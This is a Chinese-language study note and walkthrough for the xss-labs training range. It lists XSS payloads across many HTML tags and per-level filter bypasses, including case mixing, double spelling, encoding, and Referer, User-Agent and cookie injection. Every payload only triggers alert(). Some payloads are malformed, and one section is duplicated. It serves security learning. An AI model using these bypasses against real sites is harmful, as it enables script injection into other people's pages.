xss-labs靶场
xss-labs靶场
xss攻击类型
- 反射型xss
-
即攻击者将恶意脚本嵌入到url或者表单中,当用户访问特定的url或者提交表单时(用户端请求时),恶意脚本会执行
-
攻击需要用户点击恶意链接或访问包含恶意参数的url触发
- 存储型xss
-
即攻击者将恶意脚本提交到服务器,恶意代码被服务器存储到数据库中
-
存储型xws会被永久保存,且可被在多个用户访问时反复触发,具有持久性和广泛性
- 基于DOM的xss
- DOM 全程为 document object model
- 可以动态改变原来网站想要插入的链接,将其改成另一个网站
document.getElementById("demo").innerHTML = "http://www.youku.com。";
} <!-- 这里比如原来demo所指的地址是http://www.baidu.com ,这里可以将其改成www.youku.com -->
- 所以这里可以动态修改
+++
攻击形式
- 标签
<!--a标签是HTML中用来创建超链接的元素,用户点击之后会跟根据href指定的url导航到另一个页面-->
<!-- 点击链接触发 - JavaScript 伪协议 -->
<a href="javascript:alert(1)")>XSS1</a>
<!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件-->
<a href="" onfocus="alert(1)" autofocus>XSS3</a>
<!-- 事件监听,当鼠标划过元素时触发 -->
<a href="" onmouseover="alert(1)">XSS5</a>
<!-- 事件监听,当鼠标划出元素时触发 -->
<a href="" onmouseout="alert(1)">XSS6</a>
- 标签
<!-- 事件监听:焦点事件,页面加载完成后,button 标签自动获得焦点,触发 onfocus
事件 -->
<button onfocus=alert(1) autofocus>XSS1</button>
<!-- 下面均为事件监听,不多解释了 -->
<button onclick=alert(1)>XSS2</button>
<button onmouseover=alert(1)>XSS3</button>
<button onmouseout=alert(1)>XSS4</button>
<button onmouseup=alert(1)>XSS5</button>
<button onmousedown=alert(1)>XSS6</button>
- 标签
<!--设置打开使用图片 但是让图片=1 所以会加载失败 则触发xss,页面会显示一个警告框 显示1 -->
<img src=1 onerror=alert("xss");>
- 标签
<! --这里代码执行时会别嵌入到页面中,当浏览器解析代码时会立即执行alert从而显示出xss,本质上就是为了将恶意代码注入到网页中然后方便下一次用户使用时候执行攻击 -->
<script>alert("xss");</script>
- 标签
<!-- 当用户与输入框之类的产生交互而获得焦点时 就会触发然后警示框显示xss -->
<input onfocus="alert"('xss')>
使用 open 属性触发 ontoggle 事件,无需用户去触发
<details open ontoggle="alert('xss');">
- ''标签
<!-- onfocus事件会在元素获得焦点时触发,对于select元素,通常当用户点击下拉框时,事件就会被触发-->
<select onfocus=alert(1) autofocus>
- ‘
<!--页面加载渲染这段代码时,svg元素会被解析并触发onload事件,弹出警示框显示'xss'-->
<!--svg是一种XML格式的图形格式,包含形状,文本,渐变等-->
<svg onload=alert("xss");>
- ''标签
<!--iframe元素是在当前页面中其嵌入另一个页面,加载其他的网页或资源,但是本例子中没有src元素 所以是孔德 直接触发onload事件也就是弹出xss的警告-->
<iframe onload=alert("xss");>
</iframe>
- ''标签
<!--video元素用于在页面中其纳入视频,但是本例子中没有指定src属性,所以直接触发oberror事件,也就是在视频等加载失败后触发alert-->
<video><source onerror="alert(1)">
- ''标签
<!-- body元素是html文档的主体部分,包含了页面的所有可视内容,如文本,图片,表格等;onload 事件会在页面等特定元素完全加载之后触发,所以之后就会弹出xss-->
<body onload=alert("xss");>
- ‘标签’
<!-- 浏览器加载iframe元素时候执行jsp:协议直接触发alert事件-->
<iframe src="javaseript:alert('xss');">xss</a>
- ''标签
<img src=javascript:alert('xss');>
- ''标签
<!-- form元素在HTML中用于创建表格,允许用户输入数据并提交到服务器,表单的action属性指定了表单提交的目标url,但由于后面有一个jsp;协议,所以表单不会提交数据,而是执行alert事件;之后的input就是用户点击提交按钮之后表单才会被提交-->
<form action="javascript:alert(1)"><input type=submit>
+++
简单读懂代码
<!DOCTYPE html><!--STATUS OK--><html>
<!-- meta是一个HTML元素 用来提供关于文档的信息 例如作者,浏览器该页面的字符编码--> //text/html 这个可以指定文档类型为HTML
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<!--这里定义了一个window.alert的函数 confirm显示之后会直接到达下一个lavel4这个页面 并且显示"try harder"-->
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<!--接下来定义了一个表单form 并且之后用户提交的表单都会被送到lavel3.php中-->
<form action=level3.php method=GET> <!--这里的get意味着用get方法传递数据,也就是用户提交的数据会附加到url后面作为查询字符(携带数据或参数以便传递给 服务器)-->
<!-- 用于接收用户输入,这里的value 后面为空字符 意味着用户可以在输入框中输入内容-->
<input name=keyword value=''>
<!-- 定义了一个提交按钮 用户点击提交后会发送到action路径中,value值那里会显示搜索这两个词-->
<input type=submit name=submit value=搜索 />
<!-- inm 是单纯的显示出图像,payload 是显示长度-->
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
.htmlspecialchars //..用于过滤特殊字符
&
<
>
''
""
lavel 1
发现url输入框中有get形式传参,想从其中找漏洞
漏洞在于其没有对用户输入的东西进行转义,例如特殊字符< > 之类的
<script>alert(1)</script>
直接过关
lavel 2
从f12中观看分别在url和输入框中写入xss语句后哪一个没有被实体化(被编码) 发现搜索框中的没有被实体化 所以构造语句使xss可以执行
"> <script>alert(2)</script> <"
这里的"闭合了value 的前引号 ,>闭合了input的前引号,后面同理
lavel 3
观察源代码发现是单引号闭合 仿照lavel2进行闭合绕过 发现符号也被实体化了
ps:f12选中右键查看“编辑HTML”观察到符号已经被实体化了
<!-- 页面加载并且该输入框获得焦点时,onfocus事件被触发-->
' onfocus=javascript:alert()'
全部实体化 利用标签事件 单引号闭合
lavel 4
"> onfocus=javascript:alert() <"
lavel 5
沿用上一关的方法发现o于n之间被加了一个_ ,所以无法绕过
这里尝试使用a标签 再匹配它的格式 发现可以
"> <a href="javascript:alert(1)")>XSS1</a> <"
lavel 6(大小写)
这里发现href标签也被禁了 再尝试button 发现也不可以
如果查看网页源码 发现过滤的代码并没有显示出来,所以直接文件打开
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
发现其有replace 替代字符串的代码 例如on->o_ n ,这可以直接使xss无效,所以我直接变成大写
发现可以绕过
"> <ButtON oNfoCus=alert(1) aUtoFocUs>XSS1</buttOn> <"
"> <a hRef="javaScript:alert(1)")>XSS1</a> <"
lavel 7(双拼写)
这里文件打开php文件 发现其把on 等字符串替代成空 ,且大小写转换没有用.那么接下来就简单了:
但是这个不行 因为对于像 onnfocus
这种事件处理器的拼写错误,浏览器会彻底忽略该事件属性
"> oonnfocus=javasscirptcript:alert() <"
所以采用
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
lavel 8
查看源代码发现其把双引号过滤了
这时候可以利用unicode
直接编码然后绕过 利用的就是通过浏览器自己解码就可以绕过一些检查 这里不需要闭合就可以直接编码 因为浏览器编码结束之后会直接执行jsp 但是之前的需要闭合的因为要确保HTML属性值正确才可以执行
javascript:alert()
编码成
javascript:alert()
就可以添加链接了
lavel 9
这里发现加入了判断语句
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
//strpos($str7,'http://' 这个函数用来判断语句是否有http:// 如果没有 就返回false 那么false===false 就会显示出错
所以要在上一关的基础上增加http://
通过编码javascript:alert() /* http:// */
护机制只是检查 javascript:
并且认为它后面有注释部分(即以 /*
开始),它可能会误认为整个 URL 不再是有效的 javascript:
协议,从而不做进一步的检查。
javascript:alert()/* http:// */
继续解释为什么将a href标签编码之后再加入/* http:// */ 为什么没用?因为a标签本身和后面的href属性 url他们都是HTML元素 ,但是HTML元素本身并不允许在其中直接插入jsp代码 尤其是在属性值中
lavel 10
首先可以观看php源代码,发现其接通过
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
//get传参
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
//三个属性为用户看不见的传递的变量在url中传递值
//tips; 这里'$str33' 就是一种简单的拼接 单引号不需要管!!!
发现
$str11 = $_GET["t_sort"];
<input name="t_sort" value="'.$str33.'" type="hidden">
这两行代码是重复的 也就是我们需要通过get传参t_sort 传递值 此外需加一个type="text"
的按钮让我们可以成功知道自己渗透了
"t_sort=onfocus=javascript:alert() type"text
lavel 11
$str11=$_SERVER['HTTP_REFERER'];
$str22 = str_replace(">", "", $str11);
$str33=str_replace("<","",$str22);
<input name="t_ref" value="'.$str33.'" type="hidden">
/这里可以看到通过多次过滤的方法将原本获取的http请求头给到了t_ref
这里有一个HTTP_REFERER 它会追溯上一个你访问的网站是什么 然后因为有= 所以会复制给ste11,这里查询REFERER函数
Referer:
Referer
是一个 HTTP 请求头字段,它由浏览器自动添加,表明当前请求是从哪个页面发起的。在 XSS 攻击中,攻击者可以通过篡改Referer
来传递恶意数据。当你在 Hackbar 中修改Referer
字段并输入aaa"type = "text"onclick="alert(1)
时,浏览器会将它作为请求头发送到服务器。在页面中,服务器会通过$_SERVER['HTTP_REFERER']
获取这个字段并进行处理。
所以可通过hackbar中的refer直接输入
ps: REFERER并不是必须为相关的请求头 攻击者可以将其改为任意字段 例如以下的xss代码
aaa"type = "text"onclick="alert(1)
lavel 12
$str11=$_SERVER['HTTP_USER_AGENT'];
观察代码 发现与上一关不同的就是REFERER变成了USER_AGENT 这里可以直接将
aaa"type = "text"onclick="alert(1)
通过hackbar中的user agent 提交过关
lavel 13
setcookie("user", "call me maybe?", time()+3600);
//这里设置了一个名为user的cookie 值为call me maybe 并且这个cookie会在3600秒之后过期
ini_set("display_errors", 0);
//这是一个函数 display_errors为1表示开启错误选项,0表示关闭错误选项,这里直接设置为了0 意味着不希望将内部的错误信息暴露给用户
这里漏洞是 页面中有代码从cookie中读取数据并直接插入html中 因为开发者没有对html进行转义或清理
这里直接f12 在存储
中点击cookie 然后值中输入
aaa"type = "text"onclick="alert(1)
就可通关
lavel 14
重点: iframe
<iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe>
//这里的iframe元素用来嵌入外部网站或文档
iframe 是HTML中的一个标签 允许在网页中嵌入另一个网页
name= 定义了iframe的名称 便于通过jsp通过jsp进行访问
src= 这里指向了一个外部网站
margin 这里设置iframe 内容的内边距 左右上下边距
frameborder=no 这里定义了边框为无 使iframe 内容与页面融为一体
width 等 设置了iframe的宽度和高度
scrolling=no 禁止iframe的滚动条
www.exifviewer.org 这还是一个exit(可交换文件查看格式)信息查看器 也就是可以查看图片的元数据 例如拍摄时间 地理位置
这里是直接跳转到其指定的网站上之后上传一个带有xss的代码 以便达到弹窗模式
lavel 15
这里通过get传参方法获得一个路径 并把它镶嵌到网页中可能会让页面根据这个路径加载一些新内容
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
//ng-include 这就是文件包含的意思 用来包含外部的html元素 如果包含的内容是地址 需加引号
lavel 16
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>
//这里将script 等都过滤了 甚至还有空格,大小写,/ 但是我们可以用url编码空格 然后用svg ,video标签等过关
方法: 一定要将空格编码!!
?keyword=<video><source%0Aonerror="alert(1)">
lavel 17
这里ctrl+u发现出现了两个陌生的东西
<embed src=xsf01.swf?= width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
//swf文件是显示动画 游戏和多媒体内容的文件 适合网页中的其嵌入式内容
//emd标签是HEML中用来在网页嵌入外部资源的标签 包含src width height type(告诉浏览器该资源类型是什么)
这里因为我们的浏览器没有flash插件 所以无法打开swf文件,这里解法是直接后端查看代码将xsf02.swf
改成index.png
小贴士:这里我们不是必须有index.png文件才可以成功 就算我们文件夹中没有 浏览器也会执行jsp代码 从而触发alert
然后
arg01=javascript:alert()
lavel 18
这里发现多了一行代码
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
这里我们尝试用一下方法 但是发现没有用
“arg01=javascript:alert()&
因为浏览器不会将src
属性中的内容解析为html 或者jsp ,因此不会直接执行
因此
...
lavel 19
lavel 20
rc width height type(告诉浏览器该资源类型是什么)
这里因为我们的浏览器没有flash插件 所以无法打开swf文件,这里解法是直接后端查看代码将`xsf02.swf`改成`index.png`
小贴士:这里我们不是必须有index.png文件才可以成功 就算我们文件夹中没有 浏览器也会执行jsp代码 从而触发alert
然后
arg01=javascript:alert()
## lavel 18
这里发现多了一行代码
```php
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
这里我们尝试用一下方法 但是发现没有用
“arg01=javascript:alert()&
因为浏览器不会将src
属性中的内容解析为html 或者jsp ,因此不会直接执行
因此
...
lavel 19
lavel 20
这两关没有发现18关有什么区别 但就是过不去…过完年再解吧